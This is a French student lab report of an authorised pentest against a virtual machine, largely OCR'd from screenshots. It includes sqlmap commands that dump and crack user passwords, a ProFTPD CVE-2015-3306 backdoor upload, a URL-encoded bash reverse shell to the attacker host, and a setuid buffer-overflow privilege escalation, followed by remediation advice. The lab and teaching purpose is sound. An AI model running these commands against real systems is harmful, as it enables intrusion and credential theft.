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SCOPE:

Ce TP est autorisée par monsieur Thomas PREVOST pour attaquer la machine virtuelle
cible ayant comme adresse ip 192.168.56.106 et comme systéme d’exploitation un linux sur
mesure depuis une autre machine virtuelle ayant comme adresse IP 192.168.56.101 et
comme systéme d’exploitation debian 11

INTRODUCTION

Ce TP a pour but de simuler un audit de sécurité complet en environnement contrdlé.
L’exercice consiste donc a utiliser I'outil nessus pour scanner le pc cible et trouver des
failles utiles ainsi que les injections sqgl avec sqlmap .
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ETAPES DU PENTEST

Reconnaissance et Compromission Initiale:

1. Scan du Réseau et Identification des Services (Nmap et nessus )

pour cela nous allons commencer par installer I'outils nessus sur la machine attaquante

3¢ Applications : @ RAPPORTS TP2 - Google...| [l Terminal - bi301696@rt... | 13 Oracle VirtualBox - Gest... [ VirtualBoxVM [ OB A RE brosse luderic
t Attaquante [En fonction] - Oracle VirtualBox A _ o x
Fichier Machine Ecran Entrée Périphériques Aide

€ Applications = @ Nessus Essentials / Fold...| Bl Terminal - rt@rtnnnpxx: ~ &) ]

A Terminal - rt@rtnnnpxx: ~
Mouse integration

Fichier Edition Affichage Terminal Onglets Aide =
root@rtnnnpxx:/home/rt# export PATH=$PATH:/usr/local/sbin/:/sbin/:/usr/s e L
sbin/ share/ src/

root@rtnnnpxx:/home/rt# export PATH=$PATH:/usr/local/sbin/:/sbin/:/usr/sbin/ Auto captuirelkeybob i
root@rtnnnpxx: /home/rt# dpkg -i Téléchargements/Nessus-10.9.4-debianld_amd6d.deb
Sélection du paquet nessus précédemment désélectionné.

(Lecture de la base de données... 258204 fichiers et répertoires déja installés.)
Préparation du dépaquetage de .../Nessus-10.9.4-debianl0_amd64.deb ...
Dépaquetage de nessus (10.9.4)

Don't show again

(Module_Integrity) :
(KAT Digest) : Pass
(KAT Digest) : Pass
(KAT Digest) : Pass
(KAT Cipher) : Pass
AES_GCM : (KAT Cipher) : Pass
AES_ECB Decrypt : (KAT Cipher) : Pass
RSA : (KAT Signature) : RNG : (Continuous RNG Test) : Pass
Pass
: (PCT Signature) : Pass
: (PCT_Signature) : Pass
: (PCT_Signature) : Pass
_KDF_EXTRACT : (KAT_KDF) : Pass
: (KAT_KDF) : Pass
(KAT_KDF) : Pass
(KAT_KDF) : Pass
(KAT_KDF) : Pass

(KAT_KDF) : Pass
(KAT_KDF) : Pass
DRBG) : Pass
DRBG) : Pass
: (DRBG) : Pass
: (KAT_KA) : Pass
: (KAT_KA) : Pass
RSA_Encrypt : (KAT AsymmetricCipher) : Pass
RSA Decrypt : (KAT AsymmetricCipher) : Pass
RSA Decrypt : (KAT AsymmetricCipher) : Pass
INSTALL PASSED
Unpacking Nessus Scanner Core Components...
Created symlink /etc/systemd/system/nessusd.service - /lib/systemd/systen/nessusd.service.
Created symlink /etc/systemd/system/multi-user.target.wants/nessusd.service - /lib/systemd/system/nessusd.service.

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://NESSUS HOSTNAME OR IP:8834/ to configure your scanner

@O B@IG® ctr droite

Et nous allons combiner cela a un scan du Réseau avec la commande nmap -A
192.168.56.101/24 pour découvrir 'addresse ip de la cible
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Fichier Edition Affichage Terminal Onglets Aide
open http
open rpcbind
open nfs
open ms-wbt-server
MAC Address: 0A:00:27:00:00:00 (Unknown)

Nmap scan report for 192.168.56.100

Host is up (0.000078s latency).

ALl 1000 scanned ports on 192.168.56.100 are filtered

MAC Address: 08:00:27:28:58:05 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.106
Host is up (0.000095s latency).
Not shown: 994 closed ports

STATE SERVICE

open Ttp

open ssh

open http

open netbios-ssn

open microsoft-ds

mysql
08:00:27:C9:88:A0 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.101
Host is up (0.0000020s latency).
Not shown: 998 closed ports

STATE SERVICE

open ssh
111/tcp open rpcbind

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.22 seconds
root@rtnnnpxx:/home/rt# |j
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QOB A 2258 brosse luderic

A -8 x

% Applications = @ RAPPORTS TP2 - Google...| Bl Terminal - bl301696@rt... |13 Oracle VirtualBox - Gest... [ VirtualBoxVM
)] Attaquante [En fonction] - Oracle VirtualBox
Fichier Machine Ecran Entrée Périphériques Aide

=) Nessus Essentials / Folders / My Scans — Mozilla Firefox A _Dox 1
Mouse integration ...

Don't show again

@ @ Download Tenable Ness. x | @ Nessus Essentials / Fold: X |+

Auto capture keyboard

(o N localhost: s/f ! Al @ & O =

«

%Don't show again

My Scans New Folder
| wayscans
Allscans

Trash

® Terrascan

Tenable News

Don't Let Your Cloud
Security Catch a Bad
Case of .

Mot de passe :
root@rtnnnpx
root@rtnnnpxx:

ome/rt# systemctl start nessusd.service
home/ rt#

BOFo B@RUIGE cri doite

TP2 /192.168.56.106 / Apache Httpd (Multiple Issues) Configure  Audit Trail l

< Bac

ulnerabilities

Vulnerabilities 32

Sevy CVSSy  WPRy  EPSSy  Name s Family & Count ¥ s
98 7.7 0.9375  Apache 2.4.x < 2.4.60 Multiple Vulnerabilities Web Servers 1 F
s
m 7.5 6.0 0.0004  Apache 2.4.x < 2.4.64 Multiple Vulnerabilities Web Servers 1 s
s
m 7.5 4.4 0.8885  Apache 2.4.x < 2.4.59 Multiple Vulnerabilities Web Servers 1 s
E
EEm 44 0569  Apache 2.4 < 2.4.58 Multiple Vulnerabilities Web Servers 1 E
EER s a4 0.0035  Apache 2.4.x < 2458 Out-of-Bounds Read (CVE-2023-31122) Web Servers 1 v

Comme on peut le voir sur le screen de nessus web on a plein de failles de sécurité .
Comme le tp a pour but de comprendre les injection sql on vas se concentrer sur le service

web
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2. Analyse Manuelle du Service Web (Port 80)

En se connectant au site Web on vois qu’on as un formulaire qui envoie les informations au
fichier connect.php

@ Mgy Firshon PR

58 CORMECT Lo See images from shared writable directories

at Tput in fapp i

On en récupére 2 informations.
1. Un Utilisateur s'appelle bob
2. On ne doit pas regarder le /app

On peut donc tester des requéte sqlmap sur le fichier connect.php

Attaques:

1. Exploitation et Obtention des login

On vas donc tester la commande suivante
python3 Téléchargements/sqlmap-master/sqlmap.py -u
"http://192.168.56.106:80/connect.php" --data="login=bob&password=test" -p login --dbs

POST parameter 'login' is vulnerable. Do you want to keep testing the others (if any)? [y/NI y
sqlnap identified the following injection point(s) with a total of 52 HTTP(s) requests:

paraneter: login (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: login=bob' AND 6296=6296 AND 'mnpX'='mnpX&password=test

Type: tine-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: login=| bob: AND 1764 LIKE (CHAR(65,66,67,68,69,70,71) , UPPER (HEX (RANDOMBLOB (500000000/2)))) AND ‘eGmj'='eGmj&password=test

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: login=-5683' UNION ALL SELECT NULL,CHAR(113,107,118,113,113)||CHAR(82,99,110,81,68,107,90,68,75,80,98,107,75,103,116,97,109,113,104,89,121,110,102,87,113,118,99,119,116,99, 90,88
,90,66,111,90,74,118,119,109) | | CHAR(113,122,112,120,113) ,NULL-- jihF&password=test

[ 1 [INFO] the back-end DBMS is SQLite

web server operating system: Linux Debian

web application technology: Apache 2.4.57, PHP

back-end DBMS: SQLite

[ 10 1 on SQLite it is not possible to enumerate datdbases (use only
[ 1 [1NF0] fetched data logged to text files under '/home/rt/.local/shar

[*] ending @ ©9:21:23 /2025-10-13/

rtertnnnpxx:-$ i

On en tire | informations que
La base de donné est local donc en sqlmap
Pour énumérer les tables de la base de données on fait la commande

Donc on fait la commande
python3 Téléchargements/sqlmap-master/sqlmap.py -u
"http://192.168.56.106:80/connect.php" --data="login=bob&password=test" -p login --tables
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[ 1 [INFO] the back-end DBMS is SQLite

web server operating system: Linux Debian

web application technology: Apache 2.4.57, PHP

back-end DBMS: SQLite

[ 10 1 fetching tables for database: 'SQLite masterdb
<current>

[2 tables]

] fetched data logged to text files under '/home

[*] ending @ 09:26:54 /2025-10-13/

rt@rtnnnpxx:~$ I

On en trouve 2 tables la tables users qui nous intéresse et la tables sqlite_séquence qui se
crée automatiquement donc elle nous intéresse pas

On vas donc récupéré la table users avec

python3 Téléchargements/sqlmap-master/sglmap.py -u
"http://192.168.56.106:80/connect.php" --data="login=bob&password=test" -p login -T users
--dumps

On en ressort donc ces informations

[ 1 1 starting dictionary-based cracking (shal_generic_passwd)
[ 1 ] starting 2 process

[ 11 ] cracked password ' for user

[ 11 1 cracked password ' for user

Database: <current>

Table: users

[2 entries]

.

| 1 | 8ccSdSee7e65b3dc3c2388b9ef814ch170559683 (enamorada) | bob

2 d) | yan
+

] table dumped to CSV ' /rt/. 5/dump/SQLite

1t
11 ] fetched data logged to t files under '/home/

|
+
[
[
[

*] ending @ 09:41:20 /2025-10-13/

Les users bob et yannick avec leur password hacher et en claire a coté déchiffrer par
sqlmap
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On teste le mots de passe de bob

« = O O & 192.168.56.106/profile.php

Latest image in shared writable directory:

Disconnect

On as donc la derniére image enregistrée dans le dossier partager d écriture

2. Exploitation et Obtention d'un Accés Utilisateur (user_flag.txt)

On cherche donc une faille de sécurité qui vas nous permettre d’accéder a ce serveur web
pour y créer un revershell
Pour rappel on avait vue un serveur FTP dans le nmap
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| >_ ] Terminal - rE@reAnnpxx: — ~

cope global dynamic enpBs8

-10-087 14:50 CEST

e filtered
tualBox virtual NIC)

8 (Oracle VirtualBox wvirtual NIC)

56.101

On cherche donc des cve en lien avec un serveur FTP
On as donc la CVE 2015 3306 qui est un indique comme exploit critique sur nessus

JAXCVE-2015-3306 Detail

IEFERRER QUICK INFO
This CVE record is not being prieritized for NVD enrichment efforts due to resource or other concerns. CVE Dictionary Entry:
CVE-2015-3306
. . NVD Published Date:
Description 05/18/2015
The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. NVD Last Modified:
04/12/2025
Source:
Metrics ‘ CVSS Version 4.0 ‘ SYCEEINEPE  CvSS Version 2.0 MITRE

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS informatien contributed by other sources is also displayed.
CVSS 2.0 Severity and Vector Strings:

Cette CVE nous permet de crée un fichier backdoor.php dans un dossier Acces en écriture
afin d’injecter des commande par I'url sur le serveur

3. Exploitation de la Vulnérabilité

On vas donc aller sur le github de | exploit pour 'utiliser
Cette cve crée donc un backdoor qui par I'url me permet d’'injecter des commande

En modifiant le chemin vers le dossier d’écriture on arrive donc a avoir une backdoor

On essaye d’avoir un revershell

Pour ca on tape la commande
http://192.168.56.106/nandemo0856420217/backdoor.php?cmd=bash%20-c%20%22bash%?2
0-i1%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.101%2F4001%200%3E%261%22
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Commande encoder pour les urls

|
@  ® Download Tenable Ness: x @ Nessus Essentials / Login X + 192.168.56.106/nanden X @ reverse shell x 4 v
< X Q 192.168.56.106/a0 ¢ 7 pzcm L 7im ) sty%3B5%3Ds0C t tAF_INET CK_STRE Bs.con 9 L f =

proftpd: 192.168.56.101:40330: SITE cpto /tmp/.

\'z Terminal - rt@rtnnnpxx: ~ ~_ox|
Fichier Edition Affichage Terminal Onglets Aide
www -data@TD2: /var/www/html/nandemo856420217$

www -data@TD2: /var/www/html/nandemo856420217$ 1s

s

backdoor.php duck.p

wwiw - data@TD2: /var/www/hlml/nandem0856420217 cd /
cd /

www-data@TD2:/$ 1s

s

dev  initrd.img 1ib64 mnt  root srv usr vmlinuz.old
etc initrd.img.old lost+found opt run sys var
proc sbin tmp vmlinuz

www -data@TD2: /homes$ s

Ls

user

www -data@TD2: /home$ cat user

cat us:

cat: user: Permission denied

www -data@TD2: /home$ 1s -1

ls -1

total 4

drwx------ 3 user user 4096 Jan 28 2024 user

www -data@TD2: /home$ cd /var/www/html/nandemo856420217
cd /var/www/html/nandemo856420217

www -data@TD2: /var/www/html/nandemo856420217$ 1s -1

- 1 nobody  nogroup 85 Oct 13 10:39 backdoor.php
x 1 w-data root 315879 Jan 28 2024 duck.png
6TD2: /var/wwv/html/nandemo856420217$ [

13
192.168.56.106

I B | G o) | I
Donc’ la on as un revershell ou on peut voir effectivement la création du fichier backdoor.php

On vas donc chercher a avoir le fichier user_flag.txt

On se déplace donc dans /app car on nous disais de pas y aller
www-data@TD2: /app$ ls

main.sh root flag.txt root shell root shell.c wuser flag.txt

www-data@TD2: /app$ cat user flag.txt
cat user flag.txt

KA rxWsgxisBr8QFiS2M4AxPVqUTfSulLkTo
www-data@TD2: /app$ |
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4. Capture du Drapeau Final

On fait un cat de root_selle.c

www-datagTD2: /app$ 1s -1
total 32
~I'WXI'-Xr-x root root 251 Jan 2024 main.sh
root root 33 Jan 2024 root_flag.txt
root root 16272 Jan 2024 root_shell
-Iw-r- root root 415 Jan 2024 root_shell.c
-rw-r--r-- 1 root root 33 Jan 2024 user_flag.txt
www-datagTD2: /app$ cat root_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main()
{
setuid(geteuid());
setgid(getegid());
printf("Please enter your first name: ");
char name[30] = {};
int valid = @;
scanf("%s", name);
if (!valid)
{
printf("Sorry %s, you're not allowed to run the shell as root “\\_(¥)_/"\n", name);
return 1;

}
execl("/bin/bash", "-p", NULL)
return 0;
g
wwmi-datagTD2: /app$

On voit la présence d’un tableau avec 30 caractere et une condition qui est valide que si on
est root il faut donc trouver un moyen de la rendre vrais

On vas donc tester de rentrer plus de 30 caractére

mvi-datagTD2: /app$ root_shell.c

pash: root_shell.c: command not found
nww-datagTD2: /app$ ./root_shell.c

bash: ./root_shell.c: Permission denied
wwi-datagTD2: /app$ ./root_shell.

hbash: ./root_shell.: No such file or directory
nwi-datagTD2: /app$ ./root_shell

Please enter your first name: vygbhunjafsdgcccgfubzeufbzduncuhzbdzhcubdzuhcbhuzd

rootaTD2: fapp# 1s

iain.sh root_flag.txt root_shell root_shell.c user_flag.txt
ro0tgTD2: /app# cat root_flag.txt
nF44RNXbJGgs FGw2 7g9PQ3yCWz PXPfx

rootaTD2: /app#

Et comme ca j obtiens les permission root et on peut donc lire le root_flag.txt
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Outils utilisés

Pour ce pentest on as donc utilisé les outis

nmap
Nessus

Sqglmap

La CVE 2015 3306
Revershell

Recommandation

Suite a l'identification de multiples vulnérabilités critiques lors de cet audit, les mesures
correctives suivantes sont recommandées pour renforcer la sécurité du serveur cible :

Application Web (Injection SQL)

Probléme : Le script connect.php est vulnérable a Il'injection SQL, ce qui a permis I'extraction
des identifiants de la base de données.

Recommandation : Implémenter des requétes préparées (prepared statements) avec des
parametres liés. Cela sépare la logique SQL des données fournies par I'utilisateur, rendant
les injections SQL inefficaces.

Service FTP (CVE-2015-3306)

Probléme : Le service ProFTPD est obsoléte et vulnérable a une faille critique
(CVE-2015-3306) permettant I'écriture de fichiers arbitraires (RCE).

Recommandation : Mettre a jour immédiatement le service ProFTPD vers une version
corrigée (1.3.5a/ 1.3.6 ou ultérieure). Si le service FTP n'est pas essentiel, le désactiver
complétement pour réduire la surface d'attaque.

Permissions des Dossiers Web

Probléme : Un dossier sur le site web (nandemo856420217/) était accessible en écriture par
l'utilisateur du service web. Cela a permis de téléverser un fichier backdoor.php et d'obtenir
un accés au serveur.

Recommandations : Auditer les permissions des dossiers web. L'utilisateur du serveur web
(ex: www-data) ne doit jamais avoir le droit d'écrire dans les dossiers qui exécutent des
scripts (comme PHP). Les droits d'écriture doivent étre limités aux seuls dossiers "d'upload"”
(comme pour les images de profil), et I'exécution de scripts doit étre désactivée dans ces
mémes dossiers.
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Stockage des Mots de Passe

Probléme : Les mots de passe dans la base de données ont été facilement déchiffrés par
sglmap, indiquant qu'ils étaient stockés avec un algorithme de hachage faible (ex: MD5).
Recommandation : Utiliser un algorithme de hachage moderne et robuste pour le stockage
des mots de passe. Des algorithmes comme Argon2 ou bcrypt sont recommandés.

Programme "root" (Buffer Overflow)

Probléme : Un programme (root_shell.c) a une faille. En lui envoyant trop de caractéres, on
peut prendre le contréle total (root) de la machine.

Recommandation :

Corriger le code : |l faut modifier le programme pour qu'il vérifie la taille des données qu'il
recoit (par exemple, utiliser strncpy au lieu de strcpy).

Retirer les permissions spéciales : Ce programme n'a probablement pas besoin d'avoir
les droits "root". Il faut lui retirer son autorisation spéciale (le bit SUID) pour empécher ce
type d'attaque (chmod u-s /app/root_selle).

Conclusion

Cet audit de sécurité a démontré avec succes la présence de plusieurs vulnérabilités
critiques sur le systéme cible. En combinant une injection SQL, I'exploitation d'un service
FTP obsoléte et une escalade de privileges via un buffer overflow, il a été possible de
compromettre intégralement la machine, depuis un accés web initial jusqu'a I'obtention des
priviléges root.

Les objectifs de la mission, a savoir la capture des user_flag.txt et root_flag.txt, ont été
atteints.

Les résultats de ce test d'intrusion soulignent I'importance d'une maintenance réguliére des
systemes, incluant la mise a jour des services, la sécurisation du code des pages webs (en
particulier contre les injections) et une gestion rigoureuse des permissions. L'application
immédiate des recommandations fournies est essentielle pour corriger ces failles et prévenir
de futures intrusions.
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